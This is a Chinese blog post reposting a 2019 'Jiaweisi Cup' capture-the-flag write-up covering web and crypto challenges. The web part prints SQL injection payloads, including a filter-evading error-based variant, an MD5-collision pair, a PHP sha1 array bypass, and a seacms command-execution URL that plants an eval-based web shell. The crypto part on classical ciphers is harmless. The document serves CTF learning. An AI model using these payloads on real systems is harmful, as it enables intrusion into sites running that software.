2019年上海“嘉韦思杯”WP

  • 内容
  • 相关

原来自己写的wp弄没了,就转载了一篇,基本上与我的思路一致

WEB

web1

题目地址:47.103.43.235:81/quest/web/a/index.php

根据题目是道注入题,and 1=1可正常回显,应该就是一道普通的字符注入题

有4列,可以构造1' union select 1,2,3,4# 也可以1' union select 1,2,3,'4,但--+注释测试不行。
然后可以依次注出库表和值

payload: 1' union select user(),version(),database(),4#
可看到数据库及版本号还有用户
因为根据以往做题经验,数据库里必有一个flag表,所以就不注了,猜了一下,直接出来了
flag-payload: 1' union select 1,2,flag,4 from flag#

web2

题目地址:47.103.43.235:82/web/a/index.php

这题做过一道类似的,因为限制2秒内,所以要用脚本直接跑出来
正则学的实在不好,用了bs4

import requests
import re
from bs4 import BeautifulSoup
url='http://47.103.43.235:82/web/a/index.php'
s=requests.session()
r=s.get(url)

tbl_bf = BeautifulSoup(r.text,'html.parser')
tbl=tbl_bf.find_all('p')
t = re.sub('<p>|</p>',"",str(tbl[1]))
d = {
    "result": eval(str(t))
}
r = s.post(url, data=d)
print(t)
print(r.text)

web3 (47.103.43.235:85/a)

题目地址: 47.103.43.235:81/quest/web/a/index.php

就一个界面什么也没有,看了下源代码

看到关键代码

if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))

很熟悉的一道题,这题考的就是md5碰撞,强类型的话MD5就不能用数组绕过了,这题要求就是需要两个字符串值不同的MD5值相同的字符串。
这里用到了一个工具fastcoll_v1.0.0.5
先创建1.txt 和 2.txt
然后用fastcoll_v1.0.0.5 -i 1.txt 2.txt -o 3.txt 4.txt这条命令就可产生两个md5值相同的文件了。
post上传时要对字符串进行url编码。
工具连接:https://pan.baidu.com/s/1_bDnTy8_jMXGzpzJvl1g0A

不过网上也有现成的字符串,这里我直接找的现成的。
payload:

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

web4

题目地址:47.103.43.235:82/web/b/index.php

根据题目要输入账号密码,但不知道
查看源代码

有提示,下载下来phps文件

<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
    if ($_POST['name'] == $_POST['password'])
        print 'name and password must be diffirent';
    else if (sha1($_POST['name']) === sha1($_POST['password']))
        die($flag);
    else print 'invalid password';
}
?>

分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。

web5

题目地址:47.103.43.235:85/b/第一题_js?.txt

打开后一堆加密内容,看起来像base64,

base64解密后是jsfuck,放控制台出flag。

web6

题目地址:47.103.43.235:83/web/a/index.php?id===QM
打开后可以看出这应该是一道sql注入题,不过看id===QM可知很像逆序的base64,它应该是参数经base64后传进去的,QM==也就是1.

然后试下Mg==也就是id=2

果然可以,然后试下id=2-1,也是要经过base64然后逆序传入

发现可以,存在注入。

这里输入了id=select,可以看到报错引号内容为空,被过滤掉的都为空,经fuzz会发现and,select,空格等都被过滤掉了,这里通过报错注入可以注出,可以双写绕过,空格可以通过/**/取代。

0/**/anandd/**/1=extractvalue(1,concat(0x7e,(selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))#

本来想试这个报错呢,等号也被过滤了

payload: 0/**/anandd/**/extractvalue(1,concat(0x7e,(seleselectct/**/concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)))#

base64逆序后

jkSKpEDLw8iKq8Cdp1Was9iKq8SKoU2chJWY0FGZvoiKvU2apx2LqoyLh1WZoN2cfVGbiFGdvoiKvUmclh2dvoiKvMXZsJWY05SYtVGajN3Xu9Wa0FWbyJ3bvZmbp9iKq8SbvJnZvoiKvkSZtFmbfVGbiFGdoQXYj52bj9iKq8CdjR3YlxWZzVGblNHKsU2N4BDK0F2Yu92YsEDKlVHbhZHdjFmc0hXZvoiKvQGZuFmbh9iKq8CM

这里写了个base64倒序的脚本

#!/usr/bin/python3
#encoding:utf-8
import base64
str_encrypt=input("输入要加密的字符串:\n"); 
base64_encrypt = base64.b64encode(str_encrypt.encode('utf-8'))
print("BASE64加密串:"+str(base64_encrypt,'utf-8'),end=' ')
print("\n")
A = ''
for i in str(base64_encrypt):
    A = i + A
print("base倒序字符串:"+A)

根据这种可以爆出数据库最终爆出flag。

web7

这题是利用的seacms的框架,百度可以搜到该cms的很多历史漏洞

payload:
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[muma])

这里利用了该cms存在的一处命令执行漏洞。通过命令执行getshell。

crypto

crypto1

题目地址:47.103.43.235:82/crypto/a/index.php

这题打开是一个base64加密,解密后还是base64,发现这是个base64嵌套,一直解下去
最终

应该是对字符串的移位,各种测试一番发现是栅栏密码

crypto2

题目地址:47.103.43.235:82/crypto/b/index.php

这个也是对字符串的移位,根据ascii值进行移位,

因为格式为flag,所以前四位应该为flag,b到f隔4位,g到l隔5位,一次类推就能得到flag。
写个py跑也行

i=4
m = "bg[`sZ*Zg'dPfP`VM_SXVd"
for n in  m:
    n =  chr(ord(n) + i)
    print(n,end='')
    i=i+1

crypto3

题目地址:47.103.43.235:82/crypto/c/index.php
这题考的是希尔密码
加密矩阵: [[1,2,3], [4,5,6], [7,8,10]]
密文:xkmyqczdjajf
希尔密码是运用基本矩阵论原理的替换密码。每个字母当作26进制数字:A=0,B=1...一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD 26。注意用作加密的矩阵(即密钥)必须是可逆的,否则就不可能译码。只有矩阵的行列式和26互质,才是可逆的。
希尔密码需要线代学的好,我线代,,就不提了,这题没写出脚本,太菜,手算可还行。想了解的可以自行百度了解
解密过程大致为:
例如:设分组长度n=2,密钥为:K={7,9;8,3} 密文:pqcfku
(1)将密文分为两两一组:pq,cf,ku

(2)将密文字母转换为对应的编码:(15,16),(2,5),(10,20)

(3)分别计算每一组密文对应的明文编码(K-1位K的逆矩阵)

(15,16)*K-1 mod 26 =(5,17)

     (2,5) *K -1mod 26=(8,3)

     (10,20) *K-1 mod 26=(0,24)

(4)将明文编码转换为明文字母,完成解密。

本文标签:

版权声明:若无特殊注明,本文皆为《Dreamn》原创,转载请联系站长获得授权。

本文链接:2019年上海“嘉韦思杯”WP - https://dreamn.cn/post/13

发表评论

电子邮件地址不会被公开。 必填项已用*标注

未显示?请点击刷新

允许邮件通知
00:00 / 00:00
随机播放